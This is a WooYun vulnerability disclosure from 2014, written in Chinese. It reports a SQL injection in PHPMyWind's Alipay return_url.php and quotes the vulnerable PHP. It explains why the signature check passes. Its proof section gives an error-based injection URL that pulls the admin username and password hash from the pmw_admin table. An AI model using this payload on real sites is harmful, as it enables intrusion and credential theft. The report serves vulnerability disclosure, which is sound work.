当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-057255

漏洞标题:PHPMyWind最新版SQL注入漏洞

相关厂商:phpmywind.com

漏洞作者: xfkxfk

提交时间:2014-04-16 10:36

修复时间:2014-07-12 10:37

公开时间:2014-07-12 10:37

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-04-16: 细节已通知厂商并且等待厂商处理中
2014-04-21: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2014-06-15: 细节向核心白帽子及相关领域专家公开
2014-06-25: 细节向普通白帽子公开
2014-07-05: 细节向实习白帽子公开
2014-07-12: 细节向公众公开

简要描述:

PHPMyWind最新版SQL注入

详细说明:

文件:/data/alipay/return_url.php

$alipayNotify = new AlipayNotify($alipay_config);
$verify_result = $alipayNotify->verifyReturn();
if($verify_result) {//验证成功
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//请在这里加上商户的业务逻辑程序代码

//——请根据您的业务逻辑来编写程序(以下代码仅作参考)——
//获取支付宝的通知返回参数,可参考技术文档中页面跳转同步通知参数列表
//商户订单号
$out_trade_no = $_GET['out_trade_no'];
//支付宝交易号
$trade_no = $_GET['trade_no'];
//交易状态
$trade_status = $_GET['trade_status'];
if($_GET['trade_status'] == 'TRADE_FINISHED' || $_GET['trade_status'] == 'TRADE_SUCCESS') {
//判断该笔订单是否在商户网站中已经做过处理
//如果没有做过处理,根据订单号(out_trade_no)在商户网站的订单系统中查到该笔订单的详细,并执行商户的业务程序
//如果有做过处理,不执行商户的业务程序

//更新订单状态
$r = $dosql->GetOne("SELECT * FROM `#@__goodsorder` WHERE `id`=$out_trade_no");

if(isset($r) && is_array($r))
{
$checkinfo = explode(',',$r['checkinfo']);

if(!in_array('payment',$checkinfo))
{
$sql = "UPDATE `#@__goodsorder` SET checkinfo='".$r['checkinfo'].',payment'."' WHERE `id`=$out_trade_no";
$dosql->ExecNoneQuery($sql);
}
}

}


很明显,当验证成功时,out_trade_no没有过滤直接进入SQL,导致注入。
下面来看看如何验证成功。
\data\alipay\lib\alipay_notify.class.php文件verifyReturn函数:

function verifyReturn(){
if(empty($_GET)) {//判断POST来的数组是否为空
return false;
}
else {
//生成签名结果
$isSign = $this->getSignVeryfy($_GET, $_GET["sign"]);
//获取支付宝远程服务器ATN结果(验证是否是支付宝发来的消息)
$responseTxt = 'true';
if (! empty($_GET["notify_id"])) {$responseTxt = $this->getResponse($_GET["notify_id"]);}

//写日志记录
//if ($isSign) {
// $isSignStr = 'true';
//}
//else {
// $isSignStr = 'false';
//}
//$log_text = "responseTxt=".$responseTxt."\n return_url_log:isSign=".$isSignStr.",";
//$log_text = $log_text.createLinkString($_GET);
//logResult($log_text);

//验证
//$responsetTxt的结果不是true,与服务器设置问题、合作身份者ID、notify_id一分钟失效有关
//isSign的结果不是true,与安全校验码、请求时的参数格式(如:带自定义参数等)、编码格式有关
if (preg_match("/true$/i",$responseTxt) && $isSign) {
return true;
} else {
return false;
}
}
}


当$responseTxt && $isSign都为true时,验证成功。
这里responseTxt 已经为true了。
来看看isSign。
再来看看getSignVeryfy函数:

function getSignVeryfy($para_temp, $sign) {
//除去待签名参数数组中的空值和签名参数
$para_filter = paraFilter($para_temp);

//对待签名参数数组排序
$para_sort = argSort($para_filter);

//把数组所有元素,按照“参数=参数值”的模式用“&”字符拼接成字符串
$prestr = createLinkstring($para_sort);

$isSgin = false;
switch (strtoupper(trim($this->alipay_config['sign_type']))) {
case "MD5" :
$isSgin = md5Verify($prestr, $sign, $this->alipay_config['key']);
break;
default :
$isSgin = false;
}

return $isSgin;
}


进入md5Verify:

function md5Verify($prestr, $sign, $key) {
$prestr = $prestr . $key;
$mysgin = md5($prestr);
if($mysgin == $sign) {
return true;
}
else {
return false;
}


从上克制,当sign=$mysgin = md5($prestr)=md5($prestr . $key)即可。
$prestr就是我们传入的参数拼接。
$key为在正常验证过程中alipay的key,配置信息。

漏洞证明:

EXP:

http://127.0.0.1/phpmywind/data/alipay/return_url.php?sign=39c38708a1605e3c953ad2dc31b24fd0&trade_status=TRADE_FINISHED&out_trade_no=1 and 1=@`'` and 1=(select 1 from (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x23,password) FROM `pmw_admin` limit 0,1))a from information_schema.tables group by a limit 0,1)b) and 1=@`'`


wind_return.png

修复方案:

过滤

版权声明:转载请注明来源 xfkxfk@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-07-12 10:37

厂商回复:

最新状态:

暂无